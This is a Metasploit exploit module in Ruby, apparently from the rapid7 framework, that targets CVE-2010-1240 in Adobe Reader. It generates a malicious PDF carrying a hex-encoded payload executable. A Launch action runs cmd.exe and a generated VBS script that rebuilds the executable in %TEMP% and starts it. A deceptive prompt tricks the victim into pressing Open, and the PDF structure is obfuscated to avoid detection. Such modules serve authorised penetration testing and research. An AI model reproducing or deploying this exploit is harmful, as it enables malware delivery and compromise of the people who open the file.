##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#
# Modified version of the Adobe PDF Embedded EXE Social Engineering "adobe_pdf_embedded_exe.rb".
# This version does not require JavaScript to be enabled and does not required the EXE to be
# attached to the PDF.  The EXE is embedded in the PDF in a non-standard method using HEX
# encoding.
#
# Lots of reused code from adobe_pdf_embedded_exe.rb and the other PDF modules to make the PDF.
# Thanks to all those that wrote the code for those modules, as I probably could not have
# wrote this module without borrowing code from them.
#

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'Adobe PDF Escape EXE Social Engineering (No JavaScript)',
        'Description' => %q{
          This module embeds a Metasploit payload into an existing PDF file in
          a non-standard method. The resulting PDF can be sent to a target as
          part of a social engineering attack.
        },
        'License'	=> MSF_LICENSE,
        'Author' => [
          'Jeremy Conway <jeremy[at]sudosecure.net>',
        ],
        'References' => [
          [ 'CVE', '2010-1240' ],
          [ 'OSVDB', '63667' ],
          [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
          [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
          [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-15.html' ]
        ],
        'Payload' => {
          'Space'	=> 2048,
          'DisableNops'	=> true,
          'StackAdjustment'	=> -3500,
        },
        'Platform'	=> 'win',
        'DisclosureDate' => '2010-03-29',
        'Targets' => [
          [ 'Adobe Reader <= v9.3.3 (Windows XP SP3 English)', { 'Ret' => '' } ]
        ],
        'DefaultTarget'	=> 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('EXENAME', [ false, 'The Name of payload exe.', 'msf.exe']),
        OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
        OptString.new('LAUNCH_MESSAGE', [
          false, 'The message to display in the File: area',
          "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."
        ]),
      ]
    )
  end

  def exploit
    # Create the pdf
    print_status("Making PDF")
    pdf = make_pdf()
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(pdf)
  end

  def pdf_exe(payload_exe)
    if !(payload_exe and payload_exe.length > 0)
      print_status("Using '#{datastore['PAYLOAD']}' as payload...")
      payload_exe = generate_payload_exe
      hex_payload = Rex::Text.to_hex(payload_exe)
    else
      print_status("Using '#{datastore['EXENAME']}' as payload...")
      hex_payload = Rex::Text.to_hex_dump(payload_exe, 16)
    end

    return hex_payload
  end

  def io_def(id)
    "%d 0 obj" % id
  end

  def io_ref(id)
    "%d 0 R" % id
  end

  # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def n_obfu(str)
    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%x" % c.unpack("C*")[0]
      else
        result << c
      end
    end
    result
  end

  def ascii_hex_whitespace_encode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result << whitespace << "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result << ">"
  end

  def make_pdf()
    file_name = datastore['FILENAME']
    exe_name = datastore['EXENAME']
    launch_msg = datastore['LAUNCH_MESSAGE']

    xref = []
    eol = "\x0d\x0a"
    endobj = "endobj" << eol

    pdf = "%PDF-1.5" << eol
    payload_exe = generate_payload_exe
    hex_payload = Rex::Text.to_hex(payload_exe)
    pdf << hex_payload << eol
    pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
    xref << pdf.length
    pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
    xref << pdf.length
    pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
    xref << pdf.length
    pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
    xref << pdf.length
    pdf << io_def(5) << n_obfu("<</Type/Action/S/Launch/Win ") << "<< "
    pdf << "/F (cmd.exe) /P (/C echo Set o=CreateObject^(\"Scripting.FileSystemObject\"^):Set f=o.OpenTextFile^(\"#{file_name}\",1,True^):"
    pdf << "f.SkipLine:Set w=CreateObject^(\"WScript.Shell\"^):Set g=o.OpenTextFile^(w.ExpandEnvironmentStrings^(\"%TEMP%\"^)+\"\\\\#{exe_name}\",2,True^):"
    pdf << "a=Split^(Trim^(Replace^(f.ReadLine,\"\\\\x\",\" \"^)^)^):"
    pdf << "for each x in a:g.Write^(Chr^(\"&h\" ^& x^)^):next:g.Close:f.Close > 1.vbs && cscript //B 1.vbs && start %TEMP%\\\\#{exe_name} && del /F 1.vbs"
    pdf << eol << eol << eol << "#{launch_msg})"
    pdf << ">>>>" << endobj
    xref << pdf.length
    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end
    pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol
    pdf << "%%EOF" << eol
  end
end
